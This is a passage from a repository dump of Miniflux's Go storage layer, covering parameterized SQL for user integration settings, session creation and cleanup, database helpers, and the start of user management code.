`\n\t\tSELECT\n\t\t\tuser_id,\n\t\t\tpinboard_enabled,\n\t\t\tpinboard_token,\n\t\t\tpinboard_tags,\n\t\t\tpinboard_mark_as_unread,\n\t\t\tinstapaper_enabled,\n\t\t\tinstapaper_username,\n\t\t\tinstapaper_password,\n\t\t\tfever_enabled,\n\t\t\tfever_username,\n\t\t\tfever_token,\n\t\t\tgooglereader_enabled,\n\t\t\tgooglereader_username,\n\t\t\tgooglereader_password,\n\t\t\twallabag_enabled,\n\t\t\twallabag_only_url,\n\t\t\twallabag_url,\n\t\t\twallabag_client_id,\n\t\t\twallabag_client_secret,\n\t\t\twallabag_username,\n\t\t\twallabag_password,\n\t\t\twallabag_tags,\n\t\t\tnotion_enabled,\n\t\t\tnotion_token,\n\t\t\tnotion_page_id,\n\t\t\tnunux_keeper_enabled,\n\t\t\tnunux_keeper_url,\n\t\t\tnunux_keeper_api_key,\n\t\t\tespial_enabled,\n\t\t\tespial_url,\n\t\t\tespial_api_key,\n\t\t\tespial_tags,\n\t\t\treadwise_enabled,\n\t\t\treadwise_api_key,\n\t\t\ttelegram_bot_enabled,\n\t\t\ttelegram_bot_token,\n\t\t\ttelegram_bot_chat_id,\n\t\t\ttelegram_bot_topic_id,\n\t\t\ttelegram_bot_disable_web_page_preview,\n\t\t\ttelegram_bot_disable_notification,\n\t\t\ttelegram_bot_disable_buttons,\n\t\t\tlinkace_enabled,\n\t\t\tlinkace_url,\n\t\t\tlinkace_api_key,\n\t\t\tlinkace_tags,\n\t\t\tlinkace_is_private,\n\t\t\tlinkace_check_disabled,\n\t\t\tlinkding_enabled,\n\t\t\tlinkding_url,\n\t\t\tlinkding_api_key,\n\t\t\tlinkding_tags,\n\t\t\tlinkding_mark_as_unread,\n\t\t\tlinkwarden_enabled,\n\t\t\tlinkwarden_url,\n\t\t\tlinkwarden_api_key,\n\t\t\tlinkwarden_collection_id,\n\t\t\tmatrix_bot_enabled,\n\t\t\tmatrix_bot_user,\n\t\t\tmatrix_bot_password,\n\t\t\tmatrix_bot_url,\n\t\t\tmatrix_bot_chat_id,\n\t\t\tapprise_enabled,\n\t\t\tapprise_url,\n\t\t\tapprise_services_url,\n\t\t\treadeck_enabled,\n\t\t\treadeck_url,\n\t\t\treadeck_api_key,\n\t\t\treadeck_labels,\n\t\t\treadeck_only_url,\n\t\t\treadeck_push_enabled,\n\t\t\tshiori_enabled,\n\t\t\tshiori_url,\n\t\t\tshiori_username,\n\t\t\tshiori_password,\n\t\t\tshaarli_enabled,\n\t\t\tshaarli_url,\n\t\t\tshaarli_api_secret,\n\t\t\twebhook_enabled,\n\t\t\twebhook_url,\n\t\t\twebhook_secret,\n\t\t\trssbridge_enabled,\n\t\t\trssbridge_url,\n\t\t\tomnivore_enabled,\n\t\t\tomnivore_api_key,\n\t\t\tomnivore_url,\n\t\t\traindrop_enabled,\n\t\t\traindrop_token,\n\t\t\traindrop_collection_id,\n\t\t\traindrop_tags,\n\t\t\tbetula_enabled,\n\t\t\tbetula_url,\n\t\t\tbetula_token,\n\t\t\tntfy_enabled,\n\t\t\tntfy_topic,\n\t\t\tntfy_url,\n\t\t\tntfy_api_token,\n\t\t\tntfy_username,\n\t\t\tntfy_password,\n\t\t\tntfy_icon_url,\n\t\t\tntfy_internal_links,\n\t\t\tcubox_enabled,\n\t\t\tcubox_api_link,\n\t\t\tdiscord_enabled,\n\t\t\tdiscord_webhook_link,\n\t\t\tslack_enabled,\n\t\t\tslack_webhook_link,\n\t\t\tpushover_enabled,\n\t\t\tpushover_user,\n\t\t\tpushover_token,\n\t\t\tpushover_device,\n\t\t\tpushover_prefix,\n\t\t\trssbridge_token,\n\t\t\tkarakeep_enabled,\n\t\t\tkarakeep_api_key,\n\t\t\tkarakeep_url,\n\t\t\tkarakeep_tags,\n\t\t\tlinktaco_enabled,\n\t\t\tlinktaco_api_token,\n\t\t\tlinktaco_org_slug,\n\t\t\tlinktaco_tags,\n\t\t\tlinktaco_visibility,\n\t\t\tarchiveorg_enabled\n\t\tFROM\n\t\t\tintegrations\n\t\tWHERE\n\t\t\tuser_id=$1\n\t`\n\tvar integration model.Integration\n\terr := s.db.QueryRow(query, userID).Scan(\n\t\t&integration.UserID,\n\t\t&integration.PinboardEnabled,\n\t\t&integration.PinboardToken,\n\t\t&integration.PinboardTags,\n\t\t&integration.PinboardMarkAsUnread,\n\t\t&integration.InstapaperEnabled,\n\t\t&integration.InstapaperUsername,\n\t\t&integration.InstapaperPassword,\n\t\t&integration.FeverEnabled,\n\t\t&integration.FeverUsername,\n\t\t&integration.FeverToken,\n\t\t&integration.GoogleReaderEnabled,\n\t\t&integration.GoogleReaderUsername,\n\t\t&integration.GoogleReaderPassword,\n\t\t&integration.WallabagEnabled,\n\t\t&integration.WallabagOnlyURL,\n\t\t&integration.WallabagURL,\n\t\t&integration.WallabagClientID,\n\t\t&integration.WallabagClientSecret,\n\t\t&integration.WallabagUsername,\n\t\t&integration.WallabagPassword,\n\t\t&integration.WallabagTags,\n\t\t&integration.NotionEnabled,\n\t\t&integration.NotionToken,\n\t\t&integration.NotionPageID,\n\t\t&integration.NunuxKeeperEnabled,\n\t\t&integration.NunuxKeeperURL,\n\t\t&integration.NunuxKeeperAPIKey,\n\t\t&integration.EspialEnabled,\n\t\t&integration.EspialURL,\n\t\t&integration.EspialAPIKey,\n\t\t&integration.EspialTags,\n\t\t&integration.ReadwiseEnabled,\n\t\t&integration.ReadwiseAPIKey,\n\t\t&integration.TelegramBotEnabled,\n\t\t&integration.TelegramBotToken,\n\t\t&integration.TelegramBotChatID,\n\t\t&integration.TelegramBotTopicID,\n\t\t&integration.TelegramBotDisableWebPagePreview,\n\t\t&integration.TelegramBotDisableNotification,\n\t\t&integration.TelegramBotDisableButtons,\n\t\t&integration.LinkAceEnabled,\n\t\t&integration.LinkAceURL,\n\t\t&integration.LinkAceAPIKey,\n\t\t&integration.LinkAceTags,\n\t\t&integration.LinkAcePrivate,\n\t\t&integration.LinkAceCheckDisabled,\n\t\t&integration.LinkdingEnabled,\n\t\t&integration.LinkdingURL,\n\t\t&integration.LinkdingAPIKey,\n\t\t&integration.LinkdingTags,\n\t\t&integration.LinkdingMarkAsUnread,\n\t\t&integration.LinkwardenEnabled,\n\t\t&integration.LinkwardenURL,\n\t\t&integration.LinkwardenAPIKey,\n\t\t&integration.LinkwardenCollectionID,\n\t\t&integration.MatrixBotEnabled,\n\t\t&integration.MatrixBotUser,\n\t\t&integration.MatrixBotPassword,\n\t\t&integration.MatrixBotURL,\n\t\t&integration.MatrixBotChatID,\n\t\t&integration.AppriseEnabled,\n\t\t&integration.AppriseURL,\n\t\t&integration.AppriseServicesURL,\n\t\t&integration.ReadeckEnabled,\n\t\t&integration.ReadeckURL,\n\t\t&integration.ReadeckAPIKey,\n\t\t&integration.ReadeckLabels,\n\t\t&integration.ReadeckOnlyURL,\n\t\t&integration.ReadeckPushEnabled,\n\t\t&integration.ShioriEnabled,\n\t\t&integration.ShioriURL,\n\t\t&integration.ShioriUsername,\n\t\t&integration.ShioriPassword,\n\t\t&integration.ShaarliEnabled,\n\t\t&integration.ShaarliURL,\n\t\t&integration.ShaarliAPISecret,\n\t\t&integration.WebhookEnabled,\n\t\t&integration.WebhookURL,\n\t\t&integration.WebhookSecret,\n\t\t&integration.RSSBridgeEnabled,\n\t\t&integration.RSSBridgeURL,\n\t\t&integration.OmnivoreEnabled,\n\t\t&integration.OmnivoreAPIKey,\n\t\t&integration.OmnivoreURL,\n\t\t&integration.RaindropEnabled,\n\t\t&integration.RaindropToken,\n\t\t&integration.RaindropCollectionID,\n\t\t&integration.RaindropTags,\n\t\t&integration.BetulaEnabled,\n\t\t&integration.BetulaURL,\n\t\t&integration.BetulaToken,\n\t\t&integration.NtfyEnabled,\n\t\t&integration.NtfyTopic,\n\t\t&integration.NtfyURL,\n\t\t&integration.NtfyAPIToken,\n\t\t&integration.NtfyUsername,\n\t\t&integration.NtfyPassword,\n\t\t&integration.NtfyIconURL,\n\t\t&integration.NtfyInternalLinks,\n\t\t&integration.CuboxEnabled,\n\t\t&integration.CuboxAPILink,\n\t\t&integration.DiscordEnabled,\n\t\t&integration.DiscordWebhookLink,\n\t\t&integration.SlackEnabled,\n\t\t&integration.SlackWebhookLink,\n\t\t&integration.PushoverEnabled,\n\t\t&integration.PushoverUser,\n\t\t&integration.PushoverToken,\n\t\t&integration.PushoverDevice,\n\t\t&integration.PushoverPrefix,\n\t\t&integration.RSSBridgeToken,\n\t\t&integration.KarakeepEnabled,\n\t\t&integration.KarakeepAPIKey,\n\t\t&integration.KarakeepURL,\n\t\t&integration.KarakeepTags,\n\t\t&integration.LinktacoEnabled,\n\t\t&integration.LinktacoAPIToken,\n\t\t&integration.LinktacoOrgSlug,\n\t\t&integration.LinktacoTags,\n\t\t&integration.LinktacoVisibility,\n\t\t&integration.ArchiveorgEnabled,\n\t)\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn &integration, nil\n\tcase err != nil:\n\t\treturn &integration, fmt.Errorf(`store: unable to fetch integration row: %v`, err)\n\tdefault:\n\t\treturn &integration, nil\n\t}\n}\n\n// UpdateIntegration saves user integration settings.\nfunc (s *Storage) UpdateIntegration(integration *model.Integration) error {\n\tquery := `\n\t\tUPDATE\n\t\t\tintegrations\n\t\tSET\n\t\t\tpinboard_enabled=$1,\n\t\t\tpinboard_token=$2,\n\t\t\tpinboard_tags=$3,\n\t\t\tpinboard_mark_as_unread=$4,\n\t\t\tinstapaper_enabled=$5,\n\t\t\tinstapaper_username=$6,\n\t\t\tinstapaper_password=$7,\n\t\t\tfever_enabled=$8,\n\t\t\tfever_username=$9,\n\t\t\tfever_token=$10,\n\t\t\twallabag_enabled=$11,\n\t\t\twallabag_only_url=$12,\n\t\t\twallabag_url=$13,\n\t\t\twallabag_client_id=$14,\n\t\t\twallabag_client_secret=$15,\n\t\t\twallabag_username=$16,\n\t\t\twallabag_password=$17,\n\t\t\twallabag_tags=$18,\n\t\t\tnunux_keeper_enabled=$19,\n\t\t\tnunux_keeper_url=$20,\n\t\t\tnunux_keeper_api_key=$21,\n\t\t\tgooglereader_enabled=$22,\n\t\t\tgooglereader_username=$23,\n\t\t\tgooglereader_password=$24,\n\t\t\ttelegram_bot_enabled=$25,\n\t\t\ttelegram_bot_token=$26,\n\t\t\ttelegram_bot_chat_id=$27,\n\t\t\ttelegram_bot_topic_id=$28,\n\t\t\ttelegram_bot_disable_web_page_preview=$29,\n\t\t\ttelegram_bot_disable_notification=$30,\n\t\t\ttelegram_bot_disable_buttons=$31,\n\t\t\tespial_enabled=$32,\n\t\t\tespial_url=$33,\n\t\t\tespial_api_key=$34,\n\t\t\tespial_tags=$35,\n\t\t\tlinkace_enabled=$36,\n\t\t\tlinkace_url=$37,\n\t\t\tlinkace_api_key=$38,\n\t\t\tlinkace_tags=$39,\n\t\t\tlinkace_is_private=$40,\n\t\t\tlinkace_check_disabled=$41,\n\t\t\tlinkding_enabled=$42,\n\t\t\tlinkding_url=$43,\n\t\t\tlinkding_api_key=$44,\n\t\t\tlinkding_tags=$45,\n\t\t\tlinkding_mark_as_unread=$46,\n\t\t\tmatrix_bot_enabled=$47,\n\t\t\tmatrix_bot_user=$48,\n\t\t\tmatrix_bot_password=$49,\n\t\t\tmatrix_bot_url=$50,\n\t\t\tmatrix_bot_chat_id=$51,\n\t\t\tnotion_enabled=$52,\n\t\t\tnotion_token=$53,\n\t\t\tnotion_page_id=$54,\n\t\t\treadwise_enabled=$55,\n\t\t\treadwise_api_key=$56,\n\t\t\tapprise_enabled=$57,\n\t\t\tapprise_url=$58,\n\t\t\tapprise_services_url=$59,\n\t\t\treadeck_enabled=$60,\n\t\t\treadeck_url=$61,\n\t\t\treadeck_api_key=$62,\n\t\t\treadeck_labels=$63,\n\t\t\treadeck_only_url=$64,\n\t\t\tshiori_enabled=$65,\n\t\t\tshiori_url=$66,\n\t\t\tshiori_username=$67,\n\t\t\tshiori_password=$68,\n\t\t\tshaarli_enabled=$69,\n\t\t\tshaarli_url=$70,\n\t\t\tshaarli_api_secret=$71,\n\t\t\twebhook_enabled=$72,\n\t\t\twebhook_url=$73,\n\t\t\twebhook_secret=$74,\n\t\t\trssbridge_enabled=$75,\n\t\t\trssbridge_url=$76,\n\t\t\tomnivore_enabled=$77,\n\t\t\tomnivore_api_key=$78,\n\t\t\tomnivore_url=$79,\n\t\t\tlinkwarden_enabled=$80,\n\t\t\tlinkwarden_url=$81,\n\t\t\tlinkwarden_api_key=$82,\n\t\t\traindrop_enabled=$83,\n\t\t\traindrop_token=$84,\n\t\t\traindrop_collection_id=$85,\n\t\t\traindrop_tags=$86,\n\t\t\tbetula_enabled=$87,\n\t\t\tbetula_url=$88,\n\t\t\tbetula_token=$89,\n\t\t\tntfy_enabled=$90,\n\t\t\tntfy_topic=$91,\n\t\t\tntfy_url=$92,\n\t\t\tntfy_api_token=$93,\n\t\t\tntfy_username=$94,\n\t\t\tntfy_password=$95,\n\t\t\tntfy_icon_url=$96,\n\t\t\tntfy_internal_links=$97,\n\t\t\tcubox_enabled=$98,\n\t\t\tcubox_api_link=$99,\n\t\t\tdiscord_enabled=$100,\n\t\t\tdiscord_webhook_link=$101,\n\t\t\tslack_enabled=$102,\n\t\t\tslack_webhook_link=$103,\n\t\t\tpushover_enabled=$104,\n\t\t\tpushover_user=$105,\n\t\t\tpushover_token=$106,\n\t\t\tpushover_device=$107,\n\t\t\tpushover_prefix=$108,\n\t\t\trssbridge_token=$109,\n\t\t\tkarakeep_enabled=$110,\n\t\t\tkarakeep_api_key=$111,\n\t\t\tkarakeep_url=$112,\n\t\t\tkarakeep_tags=$113,\n\t\t\tlinktaco_enabled=$114,\n\t\t\tlinktaco_api_token=$115,\n\t\t\tlinktaco_org_slug=$116,\n\t\t\tlinktaco_tags=$117,\n\t\t\tlinktaco_visibility=$118,\n\t\t\tarchiveorg_enabled=$119,\n\t\t\tlinkwarden_collection_id=$120,\n\t\t\treadeck_push_enabled=$121\n\t\tWHERE\n\t\t\tuser_id=$122\n\t`\n\t_, err := s.db.Exec(\n\t\tquery,\n\t\tintegration.PinboardEnabled,\n\t\tintegration.PinboardToken,\n\t\tintegration.PinboardTags,\n\t\tintegration.PinboardMarkAsUnread,\n\t\tintegration.InstapaperEnabled,\n\t\tintegration.InstapaperUsername,\n\t\tintegration.InstapaperPassword,\n\t\tintegration.FeverEnabled,\n\t\tintegration.FeverUsername,\n\t\tintegration.FeverToken,\n\t\tintegration.WallabagEnabled,\n\t\tintegration.WallabagOnlyURL,\n\t\tintegration.WallabagURL,\n\t\tintegration.WallabagClientID,\n\t\tintegration.WallabagClientSecret,\n\t\tintegration.WallabagUsername,\n\t\tintegration.WallabagPassword,\n\t\tintegration.WallabagTags,\n\t\tintegration.NunuxKeeperEnabled,\n\t\tintegration.NunuxKeeperURL,\n\t\tintegration.NunuxKeeperAPIKey,\n\t\tintegration.GoogleReaderEnabled,\n\t\tintegration.GoogleReaderUsername,\n\t\tintegration.GoogleReaderPassword,\n\t\tintegration.TelegramBotEnabled,\n\t\tintegration.TelegramBotToken,\n\t\tintegration.TelegramBotChatID,\n\t\tintegration.TelegramBotTopicID,\n\t\tintegration.TelegramBotDisableWebPagePreview,\n\t\tintegration.TelegramBotDisableNotification,\n\t\tintegration.TelegramBotDisableButtons,\n\t\tintegration.EspialEnabled,\n\t\tintegration.EspialURL,\n\t\tintegration.EspialAPIKey,\n\t\tintegration.EspialTags,\n\t\tintegration.LinkAceEnabled,\n\t\tintegration.LinkAceURL,\n\t\tintegration.LinkAceAPIKey,\n\t\tintegration.LinkAceTags,\n\t\tintegration.LinkAcePrivate,\n\t\tintegration.LinkAceCheckDisabled,\n\t\tintegration.LinkdingEnabled,\n\t\tintegration.LinkdingURL,\n\t\tintegration.LinkdingAPIKey,\n\t\tintegration.LinkdingTags,\n\t\tintegration.LinkdingMarkAsUnread,\n\t\tintegration.MatrixBotEnabled,\n\t\tintegration.MatrixBotUser,\n\t\tintegration.MatrixBotPassword,\n\t\tintegration.MatrixBotURL,\n\t\tintegration.MatrixBotChatID,\n\t\tintegration.NotionEnabled,\n\t\tintegration.NotionToken,\n\t\tintegration.NotionPageID,\n\t\tintegration.ReadwiseEnabled,\n\t\tintegration.ReadwiseAPIKey,\n\t\tintegration.AppriseEnabled,\n\t\tintegration.AppriseURL,\n\t\tintegration.AppriseServicesURL,\n\t\tintegration.ReadeckEnabled,\n\t\tintegration.ReadeckURL,\n\t\tintegration.ReadeckAPIKey,\n\t\tintegration.ReadeckLabels,\n\t\tintegration.ReadeckOnlyURL,\n\t\tintegration.ShioriEnabled,\n\t\tintegration.ShioriURL,\n\t\tintegration.ShioriUsername,\n\t\tintegration.ShioriPassword,\n\t\tintegration.ShaarliEnabled,\n\t\tintegration.ShaarliURL,\n\t\tintegration.ShaarliAPISecret,\n\t\tintegration.WebhookEnabled,\n\t\tintegration.WebhookURL,\n\t\tintegration.WebhookSecret,\n\t\tintegration.RSSBridgeEnabled,\n\t\tintegration.RSSBridgeURL,\n\t\tintegration.OmnivoreEnabled,\n\t\tintegration.OmnivoreAPIKey,\n\t\tintegration.OmnivoreURL,\n\t\tintegration.LinkwardenEnabled,\n\t\tintegration.LinkwardenURL,\n\t\tintegration.LinkwardenAPIKey,\n\t\tintegration.RaindropEnabled,\n\t\tintegration.RaindropToken,\n\t\tintegration.RaindropCollectionID,\n\t\tintegration.RaindropTags,\n\t\tintegration.BetulaEnabled,\n\t\tintegration.BetulaURL,\n\t\tintegration.BetulaToken,\n\t\tintegration.NtfyEnabled,\n\t\tintegration.NtfyTopic,\n\t\tintegration.NtfyURL,\n\t\tintegration.NtfyAPIToken,\n\t\tintegration.NtfyUsername,\n\t\tintegration.NtfyPassword,\n\t\tintegration.NtfyIconURL,\n\t\tintegration.NtfyInternalLinks,\n\t\tintegration.CuboxEnabled,\n\t\tintegration.CuboxAPILink,\n\t\tintegration.DiscordEnabled,\n\t\tintegration.DiscordWebhookLink,\n\t\tintegration.SlackEnabled,\n\t\tintegration.SlackWebhookLink,\n\t\tintegration.PushoverEnabled,\n\t\tintegration.PushoverUser,\n\t\tintegration.PushoverToken,\n\t\tintegration.PushoverDevice,\n\t\tintegration.PushoverPrefix,\n\t\tintegration.RSSBridgeToken,\n\t\tintegration.KarakeepEnabled,\n\t\tintegration.KarakeepAPIKey,\n\t\tintegration.KarakeepURL,\n\t\tintegration.KarakeepTags,\n\t\tintegration.LinktacoEnabled,\n\t\tintegration.LinktacoAPIToken,\n\t\tintegration.LinktacoOrgSlug,\n\t\tintegration.LinktacoTags,\n\t\tintegration.LinktacoVisibility,\n\t\tintegration.ArchiveorgEnabled,\n\t\tintegration.LinkwardenCollectionID,\n\t\tintegration.ReadeckPushEnabled,\n\t\tintegration.UserID,\n\t)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update integration record: %v`, err)\n\t}\n\n\treturn nil\n}\n\n// HasSaveEntry returns true if the given user can save articles to third-parties.\nfunc (s *Storage) HasSaveEntry(userID int64) (result bool) {\n\tquery := `\n\t\tSELECT\n\t\t\ttrue\n\t\tFROM\n\t\t\tintegrations\n\t\tWHERE\n\t\t\tuser_id=$1\n\t\tAND\n\t\t\t(\n\t\t\t\tpinboard_enabled='t' OR\n\t\t\t\tinstapaper_enabled='t' OR\n\t\t\t\twallabag_enabled='t' OR\n\t\t\t\tnotion_enabled='t' OR\n\t\t\t\tnunux_keeper_enabled='t' OR\n\t\t\t\tespial_enabled='t' OR\n\t\t\t\treadwise_enabled='t' OR\n\t\t\t\tlinkace_enabled='t' OR\n\t\t\t\tlinkding_enabled='t' OR\n\t\t\t\tlinktaco_enabled='t' OR\n\t\t\t\tlinkwarden_enabled='t' OR\n\t\t\t\tapprise_enabled='t' OR\n\t\t\t\tshiori_enabled='t' OR\n\t\t\t\treadeck_enabled='t' OR\n\t\t\t\tshaarli_enabled='t' OR\n\t\t\t\twebhook_enabled='t' OR\n\t\t\t\tomnivore_enabled='t' OR\n\t\t\t\tkarakeep_enabled='t' OR\n\t\t\t\traindrop_enabled='t' OR\n\t\t\t\tbetula_enabled='t' OR\n\t\t\t\tcubox_enabled='t' OR\n\t\t\t\tdiscord_enabled='t' OR\n\t\t\t\tslack_enabled='t' OR\n\t\t\t\tarchiveorg_enabled='t'\n\t\t\t)\n\t`\n\tif err := s.db.QueryRow(query, userID).Scan(&result); err != nil {\n\t\tresult = false\n\t}\n\n\treturn result\n}\n"
  },
  {
    "path": "internal/storage/session.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"crypto/rand\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// CreateAppSessionWithUserPrefs creates a new application session with the given user preferences.\nfunc (s *Storage) CreateAppSessionWithUserPrefs(userID int64) (*model.Session, error) {\n\tuser, err := s.UserByID(userID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsession := model.Session{\n\t\tID: rand.Text(),\n\t\tData: &model.SessionData{\n\t\t\tCSRF:     rand.Text(),\n\t\t\tTheme:    user.Theme,\n\t\t\tLanguage: user.Language,\n\t\t},\n\t}\n\n\treturn s.createAppSession(&session)\n}\n\n// CreateAppSession creates a new application session.\nfunc (s *Storage) CreateAppSession() (*model.Session, error) {\n\tsession := model.Session{\n\t\tID: rand.Text(),\n\t\tData: &model.SessionData{\n\t\t\tCSRF: rand.Text(),\n\t\t},\n\t}\n\n\treturn s.createAppSession(&session)\n}\n\nfunc (s *Storage) createAppSession(session *model.Session) (*model.Session, error) {\n\tquery := `INSERT INTO sessions (id, data) VALUES ($1, $2)`\n\t_, err := s.db.Exec(query, session.ID, session.Data)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to create app session: %v`, err)\n\t}\n\n\treturn session, nil\n}\n\n// SetAppSessionTextField sets a text field in the session data.\nfunc (s *Storage) SetAppSessionTextField(sessionID, field string, value any) error {\n\tquery := `\n\t\tUPDATE\n\t\t\tsessions\n\t\tSET\n\t\t\tdata = jsonb_set(data, ARRAY[$2::text], to_jsonb($1::text), true)\n\t\tWHERE\n\t\t\tid=$3\n\t`\n\t_, err := s.db.Exec(query, value, field, sessionID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update session text field %q: %v`, field, err)\n\t}\n\n\treturn nil\n}\n\n// SetAppSessionJSONField sets a JSON field in the session data.\nfunc (s *Storage) SetAppSessionJSONField(sessionID, field string, value any) error {\n\tquery := `\n\t\tUPDATE\n\t\t\tsessions\n\t\tSET\n\t\t\tdata = jsonb_set(data, ARRAY[$2::text], $1, true)\n\t\tWHERE\n\t\t\tid=$3\n\t`\n\t_, err := s.db.Exec(query, value, field, sessionID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update session JSON field %q: %v`, field, err)\n\t}\n\n\treturn nil\n}\n\n// AppSession returns the given session.\nfunc (s *Storage) AppSession(id string) (*model.Session, error) {\n\tvar session model.Session\n\n\tquery := \"SELECT id, data FROM sessions WHERE id=$1\"\n\terr := s.db.QueryRow(query, id).Scan(\n\t\t&session.ID,\n\t\t&session.Data,\n\t)\n\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn nil, fmt.Errorf(`store: session not found: %s`, id)\n\tcase err != nil:\n\t\treturn nil, fmt.Errorf(`store: unable to fetch session: %v`, err)\n\tdefault:\n\t\treturn &session, nil\n\t}\n}\n\n// FlushAllSessions removes all sessions from the database.\nfunc (s *Storage) FlushAllSessions() (err error) {\n\t_, err = s.db.Exec(`DELETE FROM user_sessions`)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = s.db.Exec(`DELETE FROM sessions`)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// CleanOldSessions removes sessions older than specified interval (24h minimum).\nfunc (s *Storage) CleanOldSessions(interval time.Duration) int64 {\n\tquery := `\n\t\tDELETE FROM\n\t\t\tsessions\n\t\tWHERE\n\t\t\tcreated_at < now() - $1::interval\n\t`\n\n\tdays := max(int(interval/(24*time.Hour)), 1)\n\n\tresult, err := s.db.Exec(query, fmt.Sprintf(\"%d days\", days))\n\tif err != nil {\n\t\treturn 0\n\t}\n\n\tn, _ := result.RowsAffected()\n\treturn n\n}\n"
  },
  {
    "path": "internal/storage/storage.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"time\"\n)\n\n// Storage handles all operations related to the database.\ntype Storage struct {\n\tdb *sql.DB\n}\n\n// NewStorage returns a new Storage.\nfunc NewStorage(db *sql.DB) *Storage {\n\treturn &Storage{db}\n}\n\n// DatabaseVersion returns the version of the database which is in use.\nfunc (s *Storage) DatabaseVersion() string {\n\tvar dbVersion string\n\terr := s.db.QueryRow(`SELECT current_setting('server_version')`).Scan(&dbVersion)\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\n\treturn dbVersion\n}\n\n// Ping checks if the database connection works.\nfunc (s *Storage) Ping() error {\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\n\treturn s.db.PingContext(ctx)\n}\n\n// DBStats returns database statistics.\nfunc (s *Storage) DBStats() sql.DBStats {\n\treturn s.db.Stats()\n}\n\n// DBSize returns how much size the database is using in a pretty way.\nfunc (s *Storage) DBSize() (string, error) {\n\tvar size string\n\n\terr := s.db.QueryRow(\"SELECT pg_size_pretty(pg_database_size(current_database()))\").Scan(&size)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn size, nil\n}\n"
  },
  {
    "path": "internal/storage/user.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"runtime\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/model\"\n\n\t\"github.com/lib/pq\"\n\t\"golang.org/x/crypto/bcrypt\"\n)\n\n// CountUsers returns the total number of users.\nfunc (s *Storage) CountUsers() int {\n\tvar result int\n\terr := s.db.QueryRow(`SELECT count(*) FROM users`).Scan(&result)\n\tif err != nil {\n\t\treturn 0\n\t}\n\n\treturn result\n}\n\n// SetLastLogin updates the last login date of a user.\nfunc (s *Storage) SetLastLogin(userID int64) error {\n\tquery := `UPDATE users SET last_login_at=now() WHERE id=$1`\n\t_, err := s.db.Exec(query, userID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update last login date: %v`, err)\n\t}\n\n\treturn nil\n}\n\n// UserExists checks if a user exists by using the given username.\nfunc (s *Storage) UserExists(username string) bool {\n\tvar result bool\n\ts.db.QueryRow(`SELECT true FROM users WHERE username=LOWER($1) LIMIT 1`, username).Scan(&result)\n\treturn result\n}\n\n// AnotherUserExists checks if another user exists with the given username.\nfunc (s *Storage) AnotherUserExists(userID int64, username string) bool {\n\tvar result bool\n\ts.db.QueryRow(`SELECT true FROM users WHERE id != $1 AND username=LOWER($2) LIMIT 1`, userID, username).Scan(&result)\n\treturn result\n}\n\n// CreateUser creates a new user.\nfunc (s *Storage) CreateUser(userCreationRequest *model.UserCreationRequest) (*model.User, error) {\n\tvar hashedPassword string\n\tif userCreationRequest.Password != \"\" {\n\t\tvar err error\n\t\thashedPassword, err = crypto.HashPassword(userCreationRequest.Password)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tquery := `\n\t\tINSERT INTO users\n\t\t\t(username, password, is_admin, google_id, openid_connect_id)\n\t\tVALUES\n\t\t\t(LOWER($1), $2, $3, $4, $5)\n\t\tRETURNING\n\t\t\tid,\n\t\t\tusername,\n\t\t\tis_admin,\n\t\t\tlanguage,\n\t\t\ttheme,\n\t\t\ttimezone,\n\t\t\tentry_direction,\n\t\t\tentries_per_page,\n\t\t\tkeyboard_shortcuts,\n\t\t\tshow_reading_time,\n\t\t\tentry_swipe,\n\t\t\tgesture_nav,\n\t\t\tstylesheet,\n\t\t\tcustom_js,\n\t\t\texternal_font_hosts,\n\t\t\tgoogle_id,\n\t\t\topenid_connect_id,\n\t\t\tdisplay_mode,\n\t\t\tentry_order,\n\t\t\tdefault_reading_speed,\n\t\t\tcjk_reading_speed,\n\t\t\tdefault_home_page,\n\t\t\tcategories_sorting_order,\n\t\t\tmark_read_on_view,\n\t\t\tmedia_playback_rate,\n\t\t\tblock_filter_entry_rules,\n\t\t\tkeep_filter_entry_rules,\n\t\t\talways_open_external_links,\n\t\t\topen_external_links_in_new_tab\n\t`\n\n\ttx, err := s.db.Begin()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to start transaction: %v`, err)\n\t}\n\n\tvar user model.User\n\terr = 